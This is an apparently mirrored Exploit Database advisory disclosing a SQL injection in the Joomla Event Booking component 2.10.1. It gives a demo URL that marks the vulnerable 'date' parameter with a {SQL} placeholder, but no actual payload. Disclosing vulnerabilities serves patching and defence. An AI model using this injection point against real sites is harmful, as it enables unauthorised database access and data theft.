Joomla! Component Event Booking 2.10.1 – SQL Injection

• Exploit Database
• 14 阅读

• 作者： Persian Hack Team
  日期： 2016-09-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40423/

• ######################
  # Exploit Title : Joomla Event Booking Component - SQL Injection
  # Exploit Author :Persian Hack Team
  # Homepage : http://persian-team.ir
  # Vendor Homepage : http://extensions.joomla.org/extension/event-booking
  # Category [ Webapps ]
  # Tested on [ Win ]
  # Version : 2.10.1
  # Date 2016/09/25
  ######################
  #
  # PoC
  #=> Sql Injection :
  # Date Parameter Vulnerable To SQL
  # Demo :
  # http://server/index.php?option=com_eventbooking&view=calendar&layout=weekly&date={SQL}&Itemid=354
  #
  # Video : http://persian-team.ir/showthread.php?tid=160&pid=291
  ######################
  # Discovered by :Mojtaba MobhaM 
  # B3li3v3 M3 I will n3v3r St0p
  # Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
  ######################